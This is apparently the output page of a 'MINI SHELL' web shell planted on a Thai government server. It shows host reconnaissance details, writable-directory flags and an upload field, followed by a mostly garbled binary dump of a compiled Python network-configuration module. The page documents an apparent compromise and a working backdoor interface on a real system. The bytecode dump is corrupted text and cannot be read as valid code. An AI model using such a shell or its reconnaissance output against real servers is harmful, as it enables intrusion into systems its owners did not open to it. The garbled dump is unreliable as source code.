MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/share/system-config-network/netconfpkg/gui/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/system-config-network/netconfpkg/gui/sharedtcpip.pyc
mς
fΔ£Cc@sχdkZdkZdkZdkZdkZdklZdklZdk	l
Z
dklZdk
lZdk
lZdklZdkTdkZdkZd	Zd
ZdZd„Zd
„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z dd„Z"d„Z#d„Z$d„Z%d„Z&d„Z'd„Z(d„Z)d„Z*d„Z+d „Z,d!„Z-d"„Z.e/d#joOeiei0ei1ƒei2i3d$dd%ei4ƒZ5ee5dƒei6ƒnd&Z7d'Z8d(Z9dS()N(sNCHardwareList(sNC_functions(sethtool(s
GUI_functions(s	load_icon(sxml_signal_autoconnect(seditAdressDialog(t*iiicCst|idjo|iƒ}n|iƒ}|idƒi|ƒ|idƒi|ƒ|idƒi|ƒdS(NtipAutomaticRadiotipProtocolOmenutdhcpSettingFrametipSettingFrame(twidgettnamet
get_activetactivetxmlt
get_widgett
set_sensitive(RR	R((t>/usr/share/system-config-network/netconfpkg/gui/sharedtcpip.pyton_ipBootProto_toggled.s
cCsEt|hdt|f<dt|f<ƒt|idƒ|ƒdS(Nton_ipAutomaticRadio_toggledton_ipStaticRadio_toggledR(txml_signal_autoconnectR	R
R
(R	tdevice((Rt	dhcp_init8s+cCsv|ipdSny
|i}WnG|idjp |idjp|idjo
d}qid}nX|io|idƒi|iƒn|idƒidƒ|i	o|idƒi|i	ƒn|idƒidƒ|i
o|id	ƒi|i
ƒn|id	ƒidƒ|io|id
ƒi|iƒn|id
ƒidƒ|djo|idƒit
ƒn>|djo|idƒitƒn|idƒitƒ|id
ƒi|itjƒ|idjoed|_|idƒitƒ|idƒitƒt|idƒ|ƒ|idƒitƒn|idjoed|_|idƒitƒ|idƒitƒt|idƒ|ƒ|idƒitƒn|idjp|idjoF|idƒitƒ|idƒitƒt|idƒ|ƒnC|idƒitƒ|idƒitƒt|idƒ|ƒdS(NtISDNtModemtxDSLtdialuptdhcpt
hostnameEntryttipAddressEntrytipNetmaskEntrytipGatewayEntryRtbootptdnsSettingCBtnoneRt
ipStaticRadiotstatic(RtDeviceIdt	BootPrototdevice_typetTypetHostnameR	R
tset_texttIPtNetmasktGatewaytset_historytDIALUPtBOOTPtDHCPt
set_activetAutoDNStFalsetAliastNonetTrueR
R(R	RR$((Rtdhcp_hydrate?sZ

0







		 cCsP|idƒiƒo‘ti|idƒƒtjo
d|_q°ti|idƒƒtjo
d|_q°ti|idƒƒt	jo
d|_q°d|_n
d|_|idƒiƒ|_
|idƒiƒ|_|id	ƒiƒ|_
|id
ƒiƒ|_|idƒiƒ}|djo|djo
||_ndS(
NRRRRRRRRRRRR(R	R
Rt
GUI_functionstget_historyR.RR#R-R,R0tget_textR(R)R*thnameR3R&(R	RR9((Rtdhcp_dehydrateƒs 



	cCsn|idƒ}|iƒ|idjo7x>|iD]%}|i|i	|i
|igƒq3Wn|iƒdS(NtnetworkRouteList(
R	R
tclisttclearRtStaticRoutesR3troutetappendtAddressR)R*tcreateStaticRoutes(R	RR<R?((Rtroute_update›s

'c	Csΰ|i}|idƒ}t|iƒdjodSn||id}t	|ƒ}|iidƒ}|o!|i
|ƒ|itiƒn|itiƒ|iƒtijo|iƒdSn|iƒt||ƒdS(NR;itDialog(RR>troutesR	R
R<tlent	selectionR?teditAdressDialogtdialogtdlt
parent_dialogtset_transient_fortset_positiontgtktWIN_POS_CENTER_ON_PARENTtWIN_POS_CENTERtruntRESPONSE_OKtdestroyRC(	tbuttonR	RRKRJRER<RIR?((Rton_routeEditButton_clicked₯s 	


cCsm|ip|iƒn|i}|idƒ}t|iƒdjodSn||id=t	||ƒdS(NR;i(
RR>RBRER	R
R<RFRGRC(RTR	RRER<((Rton_routeDeleteButton_clickedΎs
	cCsβ|i}|idƒ}t|iƒdjp|iddjodSn|id}|i	|dƒ}|i	|dƒ}|i	|dƒ}
||}||d}	|	||<|||d<t||ƒ|i|ddƒdS(NR;iii(RR>RER	R
R<RFRGt
select_rowR8tdesttprefixtgatewaytrcurrenttrnewRC(RTR	RRWRXRYR[RER<R\RZ((Rton_routeUpButton_clickedΜs	*



cCsμ|i}|idƒ}t|iƒdjp|idt|ƒdjodSn|id}|i	|dƒ}|i	|dƒ}|i	|dƒ}
||}||d}	|	||<|||d<t||ƒ|i|ddƒdS(NR;iii(RR>RER	R
R<RFRGRWR8RXRYRZR[R\RC(RTR	RRWRXRYR[RER<R\RZ((Rton_routeDownButton_clickedβs	4



c	Csβ|idjo|iƒn|i}tƒ}t|ƒ}|i	i
dƒ}|o!|i
|ƒ|itiƒn|itiƒ|iƒ}|iƒ|tijodSn|iƒ}||i|ƒt||ƒdS(NRD(RR>R3RBREtRouteR?RHRIR	R
RJRKRLRMRNRORPRQRTRSRRtaddRoutetitapplyRC(	RTR	RRKRaRJRERIR?((Rton_routeAddButton_clickedψs"		

c	CsZt|hdt|||f<dt|||f<dt||f<ƒt||ƒdS(NRcRURV(RR	RcRRIRURVRC(R	RRI((Rt
route_initsIcCsdS(N((R	R((Rt
route_hydratescCsdS(N((R	R((Rtroute_dehydratescCsC|idƒi|iƒƒ|iƒo
d|_n
d|_dS(NthardwareAliasesSpini(R	R
RRRRR2R3(RR	R((Rt on_hardwareAliasesToggle_toggled's

cCs<|idƒi|iƒƒ|idƒi|iƒƒdS(NthardwareMACEntrythardwareProbeButton(R	R
RRR(RR	R((Rton_hardwareMACToggle_toggled.scCsŸ|idƒ}|iƒdiƒ}ti|ƒd}yt	i
|ƒ}Wn7tj
o+}t|ƒ}ti||iƒƒnX|idƒi|ƒdS(NthardwareDeviceOmenuiRi(R	R
tomenutget_childrentgetthwtstringtsplitRtethtoolt
get_hwaddrthwaddrtIOErrorterrtstrt	error_strR6tgui_error_dialogtget_toplevelR'(RR	RRwRpRuRmRy((Rton_hardwareProbeButton_clicked2scCsdS(N((RR	R((Rt"on_hardwareConfigureButton_clicked=scCst|hdt||f<dt||f<dt||f<dt||f<ƒ|idƒiƒ|idƒiƒdS(NRhRkR|R}thardwareSeparatort
hardwareTable(	RR	RhRRkR|R}R
tshow(R	R((Rt
hardware_initBsU
c
Csgtƒ}ti||id|iƒ\}}|i
dƒ}|iƒt
iƒ}d}	xbtdt|ƒƒD]K}t
i||ƒ}|iƒ|i|ƒ|||jo
|}	qnqnW|i|ƒ|iƒ|i|	ƒ|iƒ|idjoI|i
dƒitƒ|i
dƒitƒ|i
dƒi |iƒn-|i
dƒitƒ|i
dƒitƒ|i!djou|i
dƒitƒ|i
dƒitƒ|i
dƒi"|i!ƒ|i
dƒi#tƒ|i
dƒi#tƒno|i
dƒitƒ|i
dƒitƒ|i
dƒi"d	ƒ|i
dƒi#tƒ|i
dƒi#tƒdS(
NttypeRlithardwareAliasesToggleRgthardwareMACToggleRiRjR($tgetHardwareListthwlisttNC_functionstcreate_generic_comboRtDeviceR%thwcurrthwdescR	R
Rmtremove_menuRNtMenutmenuthistorytrangeRFRatMenuItemtitemR€R@tset_menutshow_allR+R2R3R/R1R4t	set_valuetHardwareAddressR'R(
R	RRaRŽR’RmR†RŠR‹R((Rthardware_hydratePsD	$






cCs±|idƒ}|iƒiƒ}ti|ƒd|_	|idƒi
ƒo|idƒiƒ|_n
d|_|idƒi
ƒo|idƒiƒ|_n
d|_dS(NRliRƒRgR„Ri(R	R
Rmt	get_childt	get_labelRpRqRrRR‰Rtget_value_as_intR2R3R8R–(R	RRpRm((Rthardware_dehydratews	cCsdS(N((R	R((Rtdsl_hardware_init…sc
Csιtƒ}ti||iiƒ\}}|i
dƒ}|iƒt
iƒ}d}	xbtdt|ƒƒD]K}t
i||ƒ}|iƒ|i|ƒ|||jo
|}	qhqhW|i|ƒ|iƒ|i|	ƒ|iƒdS(NRli(R…R†R‡tcreate_ethernet_comboRtDialupt	EthDeviceRŠR‹R	R
RmRŒRNRRŽRRRFRaR‘R’R€R@R“R”R+(
R	RRaRŽR’RmR†RŠR‹R((Rtdsl_hardware_hydrateˆs"	





cCs>|idƒ}|iƒiƒ}ti|ƒd|i	_
dS(NRli(R	R
RmR˜R™RpRqRrRRžRŸ(R	RRmRp((Rtdsl_hardware_dehydrate›st__main__ssharedtcpip.gladetdomains Harald Hoyer <harald@redhat.com>s$Date: 2005/05/11 15:49:53 $s$Revision: 1.36 $(:t	gtk.gladeRNtsignaltosRqtret
netconfpkgtNCHardwareListR‡trhplRstnetconfpkg.guiR6tnetconfpkg.gui.GUI_functionst	load_iconRt
editadressRHtsyst	tracebackR.R-R,R
RR5R:RCRURVR]R^RcR3RdReRfRhRkR|R}RR—R›RœR R‘t__name__tSIGINTtSIG_DFLtgladetXMLtPROGNAMER	tmaint
__author__t__date__t__version__(,R‘RfRR
R]R}RCR6RcR	ReR,R­R›R^RNRkRdR§RVRHRhR|RURΊRsRœRqR—RΈR―RR5RR₯R°R:R-RΉR©R R.R‡R¦((Rt?s^					






	
		D		
														'				



Anon7 - 2021